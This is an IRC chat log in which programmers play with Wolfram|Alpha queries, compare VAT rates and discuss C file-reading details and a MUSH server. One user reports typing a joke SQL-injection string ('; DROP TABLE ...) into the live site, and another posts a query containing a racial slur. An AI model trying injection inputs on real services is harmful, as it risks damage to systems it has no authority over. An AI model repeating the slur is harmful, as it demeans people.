you do something like "integrate x^2+x+1", the indefinite integral result has a "show steps" button, which will give a step-by-step solution with comments and everything. 17:24:59 Many a high-school student will love that thing. :p 17:25:04 hmmmmmmmmm 17:25:08 it seems that you can only solve for one variable 17:25:12 AnMaster: because it sux 17:25:17 fizzie, ooh indeed 17:25:17 wow, "derivative of zeta function" gives a really bad result in Alpha compared to "derivative of gamma function" 17:25:42 * ehird solve x/y = z, z = x*2 17:25:54 y = 1/2 and z = 2 x and x!=0 17:25:58 well 17:26:01 fizzie: That works? I tried it earlier and it always said "no more information" or whatever 17:26:01 also x = 0 and z = 0 and y!=0, but that's unfun 17:26:15 Deewiant: Well, it worked for that particular example, anyway. 17:26:51 Doesn't work for me; "No more results available." 17:27:04 1 2/y=z2x*=x0=!&& , you mean? 17:27:16 pikhq: aieeee 17:27:18 * pikhq <3 RPN. :p 17:27:33 * ehird solve x+y=infinity, x!=infinity, y!=infinity 17:27:35 Deewiant: I get: http://pastebin.com/m245f8c18 17:27:42 Deewiant: (That's the copyable plaintext version.) 17:27:48 Result: (no solutions exist) 17:27:49 Dur :P 17:28:06 anyone tried an SQL injection in there, btw? 17:28:22 aleph 0 17:28:23 Wolfram|Alpha isn't sure what to do with your input. 17:28:26 obviously, it wouldn't work because it isn't even going directly into a database being escaped 17:28:26 great! 17:28:29 ais523: they'll use mathematica databse, clearly 17:28:31 AnMaster: try aleph_0 17:28:35 AnMaster: Mathematica doesn't know about different sorts of infinity 17:28:38 AFAIR 17:28:42 yes it does 17:28:45 it has infinity and complex infinity 17:28:46 for one 17:28:47 ehird " * Did you mean:aleppo" 17:28:48 :D 17:28:50 well, ok 17:28:53 solve x+y < y, x*y < x, x**y = 479*x x = -479^(1/(n-1)) and y = n and n>=2 and (n-1)/2 element Z 17:28:55 that's not bad! 17:29:15 ais523: Entering "'; DROP TABLE AllKnowledgeInTheWorld; --" gives me the expected "?" reply, but also: "Related inputs to try: Chemistry: All". 17:29:19 ehird, tried that, returns Wolfram|Alpha isn't sure what to do with your input. 17:29:32 AnMaster: eh, try stuffs. :P 17:29:40 ehird, what 17:29:45 AnMaster: iuno 17:29:59 one thing that annoys me is how the loading bars are not actually loading bars 17:30:00 ais523: is there a way to get it to give some concrete solutions? 17:30:03 just animations to look pretty 17:30:04 instead of a list of constraints 17:30:04 "solve x+y < y, x*y < x, x**y = 479*x x = -479^(1/(n-1))" works. but not the "and ...." bit. 17:30:07 and really? EURGH! 17:30:13 solve | {x+yx = -479^(1/(-1+n))} 17:30:13 so it has the data while you wait? 17:30:22 AnMaster: ... is Wolfram Alpha. 17:30:27 my query was: solve x+y < y, x*y < x, x**y = 479*x 17:30:41 One thing that annoys me about Wolfram... Mathematica? How dare it not be a Lisp? 17:30:42 ah! 17:30:51 ehird, thought it was some math stuff I didn't know :P 17:30:58 pikhq: it's Thutu with a massive standard library and a slightly less powerful regex syntax 17:31:02 I mean, hell. Look at Maxima. Mmm, Common Lisp. 17:31:16 pikhq, maxima is faster too! 17:31:20 And it's libre & gratis. Tasty. 17:31:28 pikhq, though it can't do all the stuff. Like play sounds. 17:31:31 ais523: how can you get a list of results instead of constraints? do you know 17:31:40 ... Who needs it to play sounds? 17:31:49 pikhq: me! 17:31:50 pikhq, Ask ehird iirc 17:31:53 And I'm pretty sure it can; I thought you could stick Lisp code into its REPL. 17:31:58 ah 17:32:07 pikhq, never tried that. 17:32:09 -!- inurinternet has joined. 17:32:19 ais523: do you not know? 17:32:23 ehird: no I don't 17:32:26 darn 17:32:30 although substituting a value would be one method 17:32:37 as in, by hand in the query 17:32:45 i just want it to give me values, since I don't know them ;-) 17:33:12 LMAO... A Usenet copying group is suing the Dutch RIAA equivalent. 17:33:20 pikhq: Awesome. 17:33:45 They claim that their activities are perfectly legal, and something like... The Dutch RIAA is slandering them? 17:33:53 Yeah, awesome. 17:34:03 ais523: ah, it can't figureout any solutions it seems 17:34:12 so we get the silent treatment but it'll give us the constraints needed 17:34:21 probably the numbers don't exist 17:34:34 oh, or not 17:34:53 In[5]:= Reduce[{x + y < y, x y < x, x^y == 479 x}, {x, y}, Reals] 17:34:53 Out[5]= 1/2 (-1 + C[1]) \[Element] Integers && C[1] >= 2 && 17:34:54 x == -479^((1/(-1 + C[1]))) && y == C[1] 17:35:08 hmm 17:35:11 no, that's just the W|A output 17:35:12 Alpha's output is prettier, though. 17:35:13 reordered 17:36:26 But you do have an infinite number of solutions there. I mean, it's just "x = f(n), y = n, n >= 2, (n-1)/2 is integer", you can substitute n=3, n=5, .. anything there. 17:36:32 integrate (dx+2)/dy = 4*x + 2*x/3 17:36:35 why doesn't that work 17:36:39 hm 17:36:44 I'm not sure how to get W|A or Mathematica to do it easily without any extra manual typing, though. 17:36:50 fizzie: Oh. Bit boring. 17:36:58 I thought my challenge was sufficiently... challenging. 17:37:01 maybe you know how fizzie 17:37:06 solve x+y = 478*x, y^x = 7777+x*(x*y) 17:37:09 x ~~ 1.40123597714166989438479711 and y = 477 x 17:37:19 I deem x "ehird's number". 17:37:31 Why? It looks irrational. 17:37:41 (Note: it's probably not irrational) 17:37:45 (Or probably is) 17:37:50 (I don't want to think about it) 17:37:51 it's probably a surd 17:38:00 Uh. 17:38:00 but it's clear mathematica tried to solve it numerically 17:38:02 I know what a surd is! 17:38:13 * ehird looks up surd 17:38:18 An unresolved mathematical expression of an nth root, or an irrational number that can be expressed as such a root of a rational number 17:38:19 Ah 17:38:29 let's see... x+y=478*x simplifies to y=477*x 17:38:51 right, W|A solved that 17:38:55 17:37 ehird: x ~~ 1.40123597714166989438479711 and y = 477 x 17:38:56 so we're trying to solve (477*x)^x = 7777+477*x^3 17:39:15 actually, the ^x there is nasty 17:39:20 so it may quite possibly be irrational 17:39:28 mwaha! 17:40:39 indeed 17:40:51 ais523: it's a pretty number, because seeing "771" and "711", your brain thinks it's repeating 17:40:53 until you actually look 17:41:07 mine didn't assume it was repeating 17:41:17 mine did 17:41:18 ehird: What is the VAT in UK? Interpretation: is | Vatican City | in United Kingdom Result: no 17:41:19 :D 17:41:26 AnMaster: Hahahahaa 17:41:26 * oerjan didn't notice the 711 until you mentioned it 17:41:37 that is hilarious 17:41:40 that is really quite a misinterpretation 17:41:41 er, 7[17]1 17:41:45 ais523, yep 17:41:59 anyone know how much the VAT is? 17:42:07 in UK 17:42:11 I was actually wondering 17:42:14 17% or something 17:42:21 Also "VAT of UK" is interpreted as "Vatican City | United Kingdom" and then it starts to compare those two things. 17:42:21 same for all products? 17:42:22 or is it 15% now 17:42:26 it was changed recently 17:42:30 "value added tax" 17:42:34 iirc 17:42:38 oerjan, yes... 17:42:40 oerjan: he wants to know its value 17:42:44 AnMaster: 15% 17:42:51 and i suggested a better search term 17:42:52 AnMaster: it used to be 17.5% and will be following 31 dec 09 17:42:55 ehird, right. Same for all type of products? 17:42:57 and yes 17:43:33 easier than Sweden. IIRC our "moms" (same concept as your VAT) varies between different types of products 17:43:37 moms 17:43:38 xD 17:43:45 ehird, what about it? 17:44:04 haha: airspeed velocity of an unladen swallow 17:44:06 VAT? Vallue-added tax? 17:44:07 makes me think plural-mom-mother 17:44:09 gave african or european 17:44:12 norway is complicated too. unless they changed it. 17:44:12 pikhq: valllllllllllllllllllllllllllllllue 17:44:16 ais523: well they got taht one 17:44:19 Value, rather. 17:44:19 *that 17:44:24 the african gives insufficient data 17:44:31 wikipedia says it means mervärdesskatt btw 17:44:31 17:44 ais523: the african gives insufficient data 17:44:32 AnMaster: ... You guys have a nation-wide sales tax? 17:44:34 for the european, Alpha says 25 mph 17:44:35 Out of context 17:44:37 TWO-PUNCH! 17:44:41 pikhq: ... so does the UK. 17:44:41 pikhq, what? 17:44:44 but Google says 24 mph 17:44:47 I wonder which is right? 17:44:49 pikhq, what would the alternative be... 17:45:03 AnMaster: TAXLESS AMERICAN FREEDOM 17:45:08 Oh, right. Small countries with a government that is more than just nominally very powerful. 17:45:12 "In Sweden, VAT is split into three levels: 25% for most goods and services including restaurants bills, 12% for foods (incl. bring home from restaurants) and hotel stays (but breakfast at 25%) and 6% for printed matter, cultural services, and transport of private persons. Some services are not taxable for example education of children and adults if public utility, and health and dental care, but educ 17:45:13 ation is taxable at 25% in case of courses for adults at a private school. Dance events (for the guests) have 25%, concerts and stage shows have 6%, and some types of cultural events have 0%." 17:45:13 ais523: Assuming estimated average cruising airspeed of an unladen African swallow | Use estimated average cruising airspeed of an unladen European swallow instead 17:45:15 from wikipedia 17:45:15 there is unfortunately insufficient data to estimate the velocity of an African swallow (even if you specified which of the 47 species of swallow found in Africa you meant) 17:45:16 (asked of a general swallow (but not answered) in Monty Python's Holy Grail) 17:45:16 (asked of a general swallow (but not answered) in Monty Python's Holy Grail.) 17:45:19 yeah it is complex ehird 17:45:26 17:45 pikhq: Oh, right. Small countries with a government that is more than just nominally very powerful. 17:45:29 pikhq: dude, you're an american 17:45:35 STFU about government inferference 17:45:57 in the US, the government interferes with different things to what it interferes with in Europe 17:45:57 I'm not getting Alpha to dig out tax rates. If I just write "tax", for me it says "Input interpretation: Helsinki, Uusimaa | total sales tax rate" and "(data not available)", but I can't specify the location anyhow. 17:46:01 ehird: I'm saying that their countries have governments designed that way, while ours is only nominally *not* that way. ;) 17:46:11 ah. 17:46:13 That's all. 17:46:14 "What is the air speed of an unladen African swallow?" 17:46:15 wow 17:46:16 AnMaster: The Finnish VAT (here "alv", for "arvonlisävero") is at least as complicated, I think. 17:46:16 fizzie: do you live in Helsinki or Uusimaa? 17:46:20 that gives sensible result 17:46:22 AnMaster: welcome to 3 seconds ago 17:46:24 AnMaster: it's clearly been special-cased 17:46:25 ah 17:46:33 ais523, hehe 17:46:35 17:46 ais523: fizzie: do you live in Helsinki or Uusimaa? 17:46:39 he's at the helsinki university isn't he? 17:46:39 ais523: Well, next to Helsinki. And Uusimaa is a larger regional grouping, in which I do live. 17:46:43 renaming to WAVE UNIVERSITY or something 17:46:51 ehird: The Helsinki University of Technology is not actually in Helsinki. :p 17:46:52 ehird: I don't know which university fizzie is at off by heart 17:46:57 17:46 fizzie: ehird: The Helsinki University of Technology is not actually in Helsinki. :p 17:47:00 LOL WAT 17:47:06 Here, each state sets their own sales taxes, and those tend to be reduced for basic necessities, such as groceries... 17:47:10 fizzie: how does tkk.fi work into this? 17:47:24 And the federal government adds an additional tax on tobacco, alcohol, and gasoline. 17:47:31 pikhq: I've always thought the federal/state system was silly 17:47:45 ehird: /// in C seems like the obvious thing now 17:47:48 hmm, its results for "147.188.147.123" were decent 17:48:00 ehird: The Finnish name is "Teknillinen korkeakoulu", which is pretty much just "university of technology"; this is the main one, so it doesn't need to bother with the locational specifiers. The lesser ones elsewhere in Finland have the place in the Finnish names too. 17:48:03 oerjan: yep... it'll require some allocation trickery, but it should work nice 17:48:05 that's the IP of the proxy at the University I used for ages 17:48:05 ehird: I think it would be less silly if the federal government only had the powers granted to it by the constitution. 17:48:07 oerjan: why obvious though? 17:48:11 * ais523 tries their current IP 17:48:15 pikhq: it does, platonically 17:48:28 but enforcement sort of damages that 17:48:31 because it's fast to manipulate mutable arrays directly in C 17:48:33 Monty Python Interpretation: Monty Python Live at the Hollywood Bowl (movie) 17:48:34 Of course, then, the US would be more akin to the EU... 17:48:38 why that specific movie 17:48:38 oerjan: true enough 17:48:39 strange 17:48:46 ehird: Anyway, TKK used to be in Helsinki, but the campus was moved to Espoo (Helsinki's neighbour city, and TKK is right there next to the border anyway) in 1955. 17:48:56 fizzie: did they put it on wheels and move it across 17:49:24 oerjan: it also lets you do sharing tricks 17:49:29 ehird: there was a series on Channel 5 about building movers 17:49:32 it was quite interesting 17:49:37 oerjan: like make a new string_t, -= a bit from the length, then += data 17:49:41 although a rather specific thing to have a TV series about 17:49:50 ais523: Channel 5? Old, then. 17:49:59 it seems lots of special equipment is needed to move buildings 17:50:02 and yes, probably old 17:50:08 WA didn't know what "Ackermann function" was. But when typoed as "Ackerman function" it gave a strange result 17:50:08 they might have renamed to five by then 17:50:08 ais523: I mean, it's called five now 17:50:10 ah 17:50:13 but I still know them by their old name 17:50:20 "Computability Additional functionality for this topic is under development... 17:50:21 " 17:50:25 how strange 17:50:28 I remember seeing that a few years ago on Discovery. Was a while back, though, when they'd show things that have something to do with reality other than blowing things up. 17:50:33 ais523, ehird ^ 17:50:37 AnMaster: try ackermann(a,b) 17:50:46 pikhq: don't diss blowing things up 17:50:52 ehird, I wanted general information about it, it's definition 17:50:55 ehird: It's all they air! 17:50:59 AnMaster: *its 17:51:12 pikhq: yes, and they have a place; they just need to rename to Explosions Channel 17:51:22 http://www.wolframalpha.com/input/?i=Solve+the+halting+problem 17:51:25 ehird: I could get behind that. 17:51:27 This machine does not work 17:51:27 ehird, that ackermann(1,2) -> Wolfram|Alpha isn't sure what to do with your input. 17:51:34 pikhq: how gay 17:51:49 http://www.wolframalpha.com/input/?i=itty+bitty+baby%2C+itty+bitty+boat 17:51:52 ehird: They built a new one. There's all kinds of related trivia, like they started building it in 1950 mainly because the place was used to host the participants of the 1952 Summer Olympics, presumably so they could get some sort of (financial or otherwise) help in the construction. 17:51:54 AnMaster: A( works 17:51:55 AnMaster: it doesn't seem to konw of the ackermann function 17:52:01 http://www.wolframalpha.com/input/?i=A%28G64%2CG64%29 17:52:01 Talk about a knowledge engine 17:52:05 ehird: with the correct funtion? 17:52:05 I'm not sure those are the right functions 17:52:10 or valus 17:52:11 values 17:52:16 maybe it thinks G=gravity 17:52:31 http://www.wolframalpha.com/input/?i=butt 17:52:37 What the fuck is wrong with this 17:52:40 ehird: it's interpreting G as an unknown 17:52:41 AnMaster: A( works <-- no 17:52:43 and A as an unknown function 17:52:47 ais523: haha 17:52:49 what ais523 said 17:52:51 and just returning a general answer, assuming G64 = G^64 17:53:02 hmm 17:53:11 how do you get a (FILE *)'s fd? 17:53:15 ehird: i think it should be possible to just scan one array for matches, annotating it somehow, and then allocating the next array afterwards, at the correct length, then fill it and free the old one. 17:53:18 for fstat 17:53:26 http://www.wolframalpha.com/input/?i=google 17:53:32 what the hell is "Daily returns versus S&P 500:" 17:53:38 that graph, what is it supposed to me 17:53:40 be* 17:53:56 ehird: fileno(stream). 17:54:19 AnMaster: economics stuff. 17:54:31 AnMaster: it's giving you stock symbol info 17:54:33 kay 17:54:35 "Google (GOOG)" 17:54:44 ehird, yes, but that graph seemed so confusing 17:54:50 Not sure how conformant that is; obviously not ISO C, but it could be POSIX. 17:54:53 it's a useless graph :-P 17:54:58 fizzie: POSIX IIRC 17:55:23 what's an off_t? 17:55:28 an integer of some sor 17:55:29 t 17:55:31 for file offsets it seems 17:55:33 and sizes 17:55:48 Four seasons 3.154x10^7 seconds 17:55:51 hm 17:55:52 Jimmy Wales date of birth | 8 August 1966 (age: 42 years) 17:55:57 that'll be controversial 17:56:01 I was looking for the famous work of Vivaldi 17:56:40 Jimmy Donal "Jimbo" Wales (born August 7, 1966[2]) 17:57:11 and Wikpedia's source for that is Encyclopedia Britannica, and its sources 17:57:34 ais523: what's controversial about it 17:57:42 Mathematica Assuming "mathematica" is a quantityUse as a historical event or an internet domain instead Interpretation: Wolfram Mathematica Result: Mathematica is an all-in-one computation and visualization system, development environment, and deployment engine. [...] 17:57:42 so 17:57:45 there was a huge row about it 17:57:49 Mathematica is a quantity. 17:57:51 Interesting. 17:57:51 ais523: what 17:57:56 Jimmy kept editing all references to it out of the Wikipedia article 17:57:59 claiming no reliable soruces 17:58:00 *sources 17:58:10 for historical event: "Mathematica 1.0 Released" 17:58:10 :D 17:58:11 and of course, people retaliated by finding lots of sources 17:58:19 ais523: oh, more of the "jimbo is a pretty crap wikier who serves his own interests and has a shady past" stuff :p 17:58:27 -!- Judofyr has quit (Remote closed the connection). 17:58:28 it's interesting to see that Wikipedia and Alpha came to different values, though 17:58:35 Britannica agreed with Wikipedia on that, though 17:58:38 Ooh, I got a different error. "Sorry, Wolfram /Alpha/ is temporarily unavailable. Please try again. Error: DataPacletFilter: Unable to get Connection Too many connections". 17:58:46 (I was wondering if it had been vandalised to show something different from the source...) 17:58:59 it's interesting to see that Wikipedia and Alpha came to different values, though <-- what do you mean 17:59:13 ais523: what's the bast way to read from a (FILE *) the natural block size, as much as possible? 17:59:32 ehird: getc in a loop 17:59:32 I'm just trying to stream a file into a buffer as properly as possible 17:59:40 ais523: that isn't the natural block size! 17:59:43 it is 17:59:46 you're meant to use fread, I'm sure 17:59:56 ais523: well, that's inefficient on memory 17:59:57 getc turns into a call to get a natural-sized buffer 18:00:02 followed by accessing into the buffer 18:00:07 in most sane implementations 18:00:08 instead of writing a word-sized block at a time 18:00:17 I could do fread(buf, sizeof(long), ...) 18:00:18 i suppose 18:00:30 fread has function call overhead 18:00:31 ais523, only true for buffered files. 18:00:36 also, you probably want fgetc_unlocked 18:00:39 AnMaster: well, yes 18:00:44 ais523: I don't mind overhead 18:00:50 but you can set the buffering explicitly if you think your compiler might be standards-incompliant 18:00:54 This doesn't need to be especially fast - the files are tiny - I'd just like to get it correct 18:00:59 ais523, in fact, only true for fully buffered files 18:01:08 AnMaster: which it will be, unless it's stdio from tty 18:01:13 ais523, yep 18:01:21 and if it /is/ stdio from tty, fully-buffering is almost certainly incorrect 18:01:24 *stdin 18:01:49 ais523, fully buffered stdout to tty can make sense. 18:01:49 fread(&buf, sizeof(long), ??what do I want for nitems??, file) 18:01:54 The pass-to-mathematica doesn't seem to be completely direct. If I write "f[x_] := x+1; f[42]" it interprets as "f(x_) = x+1; f(42)" and results "f(42) ~~ f(42.)..." with a unworky "more digits" option. I'm not quite sure how to define + evaluate a function there. 18:02:08 ? 18:02:26 AnMaster: std/out/, yes 18:02:51 ais523, you said stdio, not stdin 18:02:56 AnMaster: yes, but it was a thinko 18:03:04 and I corrected it a couple of lines down 18:03:12 http://www.wolframalpha.com/input/?i=rule+34 18:03:14 heheh 18:03:29 42 18:03:29 (according to Douglas Adams' Hitchhiker's Guide to the Galaxy) 18:03:32 another special casing 18:03:50 18:01 ehird: fread(&buf, sizeof(long), ??what do I want for nitems??, file) 18:04:14 ehird: ??The size of your buffer?? 18:04:23 Deewiant: I'm wondering how big I should make it :-P 18:04:47 CPU's L2 cache size, mayhaps 18:04:56 Yeah, that's not too helpful :-P 18:04:57 But if you can't be bothered to find it out... 1024 is always good :-P 18:05:04 Sure it is 18:05:06 Deewiant: That's 1024 bytes 18:05:09 It's what I'd do if I actually cared 18:05:09 I'm reading longs 18:05:18 So that's 1024 words 18:05:21 ehird: Nah, 1024 is good no matter the units 18:05:24 heh 18:05:28 4096 is also a good number; it's like four times better than 1024. 18:05:29 What is the airspeed of an unladen European swallow? Interpretation: estimated average cruising airspeed of an unladen European swallow 950 km/day (kilometers per day) 18:05:39 fizzie: 4096 bytes is bigger than most /// programs 18:05:44 maybe 1024 / sizeof(long) 18:05:55 What if it doesn't divide evenly 18:06:01 Deewiant: who cares? 18:06:02 AnMaster: what if you remove the qualifier "unladen" 18:06:23 ais523, "too much load" atm... 18:06:35 ais523: It still interprets it as if there were "unladen" there. 18:06:38 just keep trying, generating yet more load when it's already loaded is funny 18:06:42 fizzie: ah ,ok 18:06:58 It's also completely unable to find the same for other species of birds. :/ 18:07:26 special-cased, unfortunately 18:07:31 The function ferror() tests the error indicator for the stream pointed to 18:07:32 by stream, returning non-zero if it is set. The error indicator can only 18:07:33 be reset by the clearerr() function. 18:07:35 ↑ how am I meant to print out the error? 18:07:41 printing the error from ferror? 18:07:42 er 18:07:43 fread 18:07:46 ais523, it adds the qualifier in the interpretation it seems. 18:07:59 ehird: I'm not sure you can? 18:08:01 ehird: when something goes wrong reading a file, the reading function returns an error value and sets errno 18:08:10 it also sets either the error or eof indicator 18:08:21 so you can find out whether it went wrong due to error or eof, then check errno if it was an error 18:08:25 ais523: man fread says nothing about errno 18:08:28 and use strerror or perror to get an error message 18:08:32 Deewiant: it does set errno, though 18:08:36 Hm "wolf running speed" suggests "wolf speed", interpreted as "Wolf (movie) | Speed 2: Cruise Control (movie)" and then it does a movie comparison. 18:08:49 ais523: Is that portable, then? 18:08:50 There's also a helpful "Assuming Wolf | Use Lobo, El instead" link. 18:08:57 Deewiant: I think so 18:09:06 I'd expect at least man 3p fread to say something about it 18:09:15 Oh, it does 18:09:20 I was looking at ferror's manpage by accident 18:09:20 so you can find out whether it went wrong due to error or eof, then check errno if it was an error <-- err. Sure ferror() won't modify errno? 18:09:27 AnMaster: yes 18:09:29 it's specified not to 18:09:35 AnMaster: I'm pretty sure it's one of the few that doesn't 18:09:35 along with all functions on that page 18:09:36 ferror(-22) 18:09:36 http://www.wolframalpha.com/input/?i=nigger 18:09:42 ERRORS 18:09:42 These functions should not fail and do not set the external variable 18:09:43 errno. 18:09:45 I like how nigger is connected to raccoon 18:09:52 or with a NULL pointer 18:09:55 although you might want to cache errno before anyway, just in case it stupidly calls malloc or something 18:09:55 hmm 18:09:56 rather 18:09:58 if I'm writing with nulls 18:10:06 Oo, it has IPA 18:10:07 I have to round the allocation size to the nearest power of two 18:10:10 what's the trick to do that again? 18:10:26 err 18:10:29 no 18:10:31 not nearest power of two 18:10:32 nearest, or larger, or smaller/ 18:10:34 nearest multiple of sizeof(long) 18:10:38 ais523: larger 18:10:44 nearest multiple of sizeof(long) rounding upwards 18:10:59 ais523, what is the shortest way to round up to a multiple of some constant 18:11:03 oh, (x+(sizeof(long))-1) & ~(sizeof(long)-1) 18:11:14 wait, sizeof(long) might not be a power of 2 18:11:19 indeed 18:11:25 ais523, it might not? 18:11:31 ((x+(sizeof(long))-1)/(sizeof(long)))*(sizeof(long)) 18:11:32 Of course it might not 18:11:37 Deewiant, ah right. 18:11:40 AnMaster: nope, you can legally have a 24-bit long in C, for instance 18:11:45 right 18:11:48 wait 18:11:51 *48-bit long 18:11:52 Or a 7-bit char 18:11:53 24 is too short... 18:11:56 Deewiant: 7 is also too short 18:12:01 although you can have a 9-bit char 18:12:08 ais523, depends on which C version iirc 18:12:09 7 is? Why's that? 18:12:24 Deewiant: minimum 8 18:12:34 ais523, and you can't have 9 bit char in C99 logically. Since there is int8_t 18:12:34 ehird: "Why's that?" 18:12:40 Deewiant: yep, unsigned char is specified minimum range 0-255 18:12:43 Deewiant: Because they said so. 18:12:44 so it has to be at least 8 bits 18:12:47 ais523, how the hell would you represent int8_t with 9 bit chars 18:12:49 AnMaster: you can, in that case int8_t is undefined 18:13:00 ais523, isn't it required? I don't remember 18:13:08 it's required iff it exists 18:13:16 which is why I hope you check if it exists by using ifdef, without using it 18:13:18 ais523, POSIX 2008 specifies 8 bit char at least. No more no less. 18:13:22 (POSIX does require char to be 8 bits, though) 18:13:32 18:13 ais523: it's required iff it exists 18:13:36 that's brilliantly pointless 18:13:41 ais523, since I depend on POSIX that is a non-issue :P 18:13:54 ehird: I mean, if there is a signed type that happens to be exactly 8 bits long, then int8_t has to be defined 18:14:00 if there isn't, then it needn't be 18:14:00 ah 18:15:02 u?int_least{8,16,32,64}_t are always required in C99, though. 18:15:18 just thinking DS9K for a moment: imagine a system with 8-bit char, 24-bit short, and a proprietary 16-bit type as an extension 18:15:29 I wonder if it would be legal to define int16_t but not uint16_t in that case? 18:16:28 ais523: C99 phrasing is "These types [int/unitN_t] are optional. However, if an implementation provides integer types with widths of 8, 16, 32, or 64 bits, it shall define the corresponding typedef names." Make of that what you wish. 18:16:43 Although that does seem to imply that if intN_t exists, uintN_t should too. 18:17:33 For those widths, anyway. Maybe. Unless you are specifying the typedef even when the implementation does not provide an integer type with the corresponding width, but I don't know how that should work. 18:17:51 Psssssssssst ... somebody type !mush :P 18:17:55 !mush 18:17:59 !help 18:17:59 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 18:18:04 !mush 18:18:07 -!- ehird has changed nick to someone. 18:18:08 I set up a MUSH. 18:18:09 !mush 18:18:10 For no reason. 18:18:11 Pueblo 1.0 enhanced? 18:18:12 hmm... mush seems to have been programmed separately 18:18:16 -!- someone has changed nick to ehird. 18:18:21 GregorR-L: I can't DCC. 18:18:28 ehird: Then telnet codu.org 6250 18:18:37 Does netcat work? 18:18:39 I prefer netcat. 18:18:48 Sort of, but you need to send \r\n mebbe 18:18:48 Yes. Yes it does. 18:18:54 Oh great. GregorR-L: No line editing. 18:18:55 GregorR-L: who, news, and help all give the same output, the intro message :-P 18:19:07 GregorR-L: Add it and I'll try. 18:19:19 or can telnet servers not do that? 18:19:19 ehird: If you prefer netcat then don't complain about it's limitations 18:19:19 Can you run netcat with rlwrap? 18:19:21 I'm sure they can 18:19:24 Deewiant: I used telnt 18:19:25 telnet 18:19:25 so stfu 18:19:26 I'm there, via telnet 18:19:30 but nobody else seems to be 18:19:42 I tried to be there via DCC but it doesn't work 18:19:44 and there only seem to be two rooms 18:19:47 !mush 18:19:58 People usually use MUSH clients, and an IRC client isn't actually a bad one. 18:20:13 Telnet FTW. 18:20:31 (assuming a MUSH that handles TERM=VT100 well) 18:20:41 !mush 18:21:10 GregorR, care to explain what the hell it is about 18:21:18 AnMaster: it's a MUSH 18:21:22 http://en.wikipedia.org/wiki/MUSH 18:21:59 a mix of irc and mud? 18:22:16 GregorR, the who command doesn't work. It just prints the intro message 18:22:24 18:18 Deewiant: GregorR-L: who, news, and help all give the same output, the intro message :-P 18:22:27 Yeah, that's weird :P 18:25:02 MUSHtroshka 18:25:31 GregorR-L: 18:25:32 Quinn 18:25:33 Quinn is actually Gregor! 18:25:35 Contents: 18:25:37 ball 18:25:39 Taken. 18:25:41 Quinn is actually gregor! 18:26:16 ehird: Look at your inventory. 18:26:36 ehird: I'm also carrying you :P 18:26:36 mwahaha 18:29:57 GregorR, tell me when you 1) fixed the pick up bug 2) made something more interesting in there 3) Added a better interface so you can actually see what happens. Colour codes would help. 18:30:13 * AnMaster goes back programming instead 18:30:17 GregorR-L, ^ 18:30:26 WAAH YOUR MUSH ISN'T HOW I WANT IT GO FIX IT LAMEO 18:30:28 I'M GOING HOME 18:30:34 Assuming "or" is referring to math | Use as referring to math instead 18:30:35 * ais523 drops AnMaster in a Turign Tarpit 18:30:37 ais523: ↑ 18:30:38 *Turing Tarpit 18:30:43 AND TAKING MY BALL WITH ME! 18:30:43 ais523, I logged out 18:30:44 ehird: heh 18:31:00 ais523: if you click the other one, it gives you truth tables and forms etc, otherwise just the input 18:31:00 since I'm much more interesting in coding on in-between than that mush 18:31:03 parsed 18:31:10 ehird: I just dropped you in the turing tarpit too 18:31:19 Anyway, if anybody wants to actually poke around at the MUSH, I'll give you wizard privileges. 18:31:19 what's the turing tarpet ay 18:31:21 *tarpit 18:31:26 ehird: it's north of esoland 18:31:27 It's just a room :P 18:31:30 ah 18:31:32 i just left... 18:31:38 as in, closed the window 18:31:45 ais523, I'm not sure I'm going to log in again. Unless GregorR addresses those mentioned issues. 18:31:56 well, I've left for now too 18:32:00 I may poke around later 18:32:01 but not just now 18:32:02 AnMaster: who cares 18:32:12 What are the mentioned issues? 18:32:15 ... 18:32:17 what pick up bug, anyway? 18:32:19 GregorR, look up a few lines. 18:32:22 GregorR, tell me when you 1) fixed the pick up bug 2) made something more interesting in there 3) Added a better interface so you can actually see what happens. Colour codes would help. 18:32:28 grabbing other people doesn't strike me as a ridiculous thing to be able to do 18:32:29 ais523, that you can pick up other people 18:32:35 There is no pick up bug. 18:32:38 AnMaster: that's deliberate, almost certainly 18:32:39 and put them in your inventory 18:32:40 ... 18:32:41 That's not a bug, that's a MUSH. 18:32:54 lol. 18:33:06 You want @lock me = me 18:33:08 btw 18:33:13 interesting 18:33:17 ais523: how do you make a stream unbuffered in c? setbuf/setvbuf etc need you to specify a buffer location etc. 18:33:24 That locks you so only you can pick ... you ... up. Except you can't actually pick yourself up :P 18:33:29 ehird: it's with setvbuf 18:33:35 there's a special combination of options 18:33:41 probably involving null in the buffer location 18:33:43 GregorR-L, there is no complete list of commands btw. I had to guess that it was "quit" to quit 18:33:45 In a MUSH, /everything/ is an object. Everything. That's just how MUSHes are. Rooms are objects, exits are objects, people are objects. 18:33:46 together with another couple of things 18:33:48 instead of, say, exit 18:33:50 or leave 18:33:51 ais523: ah yes 18:33:54 setbuf(stream, NULL) 18:33:58 GregorR, that is yet another issue. 18:34:17 also, prize to anyone who figures out a good use for p&&(!q||(!r&&(p&&q))). http://www.wolframalpha.com/input/?i=p+and+%28%28not+q%29+or+%28%28not+r%29+and+%28p+and+q%29%29%29&a=*C.or-_*MathOperator- for truth table 18:34:18 OMG, you have to learn how to MUSH before you MUSH, shocking :P 18:34:24 GregorR-L: YO DAWG 18:34:32 GregorR-L, help commands didn't give me a list of commands. 18:34:43 GregorR, nor could I find one anywhere else 18:34:47 AnMaster: there are a few hundred of them, I imagine 18:34:50 I see. 18:35:01 I seee. I am far too esteemed for this. 18:35:07 % ./slashes /dev/zero 18:35:07 zsh: segmentation fault ./slashes /dev/zero 18:35:07 ehird, what? 18:35:13 I wonder if fstat reports the size of /dev/zero wrong? 18:35:19 ehird, what? 18:35:20 ehird, what? 18:35:20 ehird, what? 18:35:20 ehird, what? 18:35:30 AnMaster: Congrats, you're a flooder. 18:35:37 ehird: Assuming "or" is referring to math | Use as referring to math instead 18:35:38 ehird, I'm just copying your behaviour 18:35:43 GregorR-L: Yeah. :-P 18:36:08 AnMaster: Soon you'll be copying behaviour I rarely do so much that you'll be a giant dickwad. 18:36:12 % ls -lh /dev/zero 18:36:13 crw-rw-rw- 1 root wheel 3, 3 6 May 18:17 /dev/zero 18:36:15 Curious output. 18:36:17 I wonder what that comma 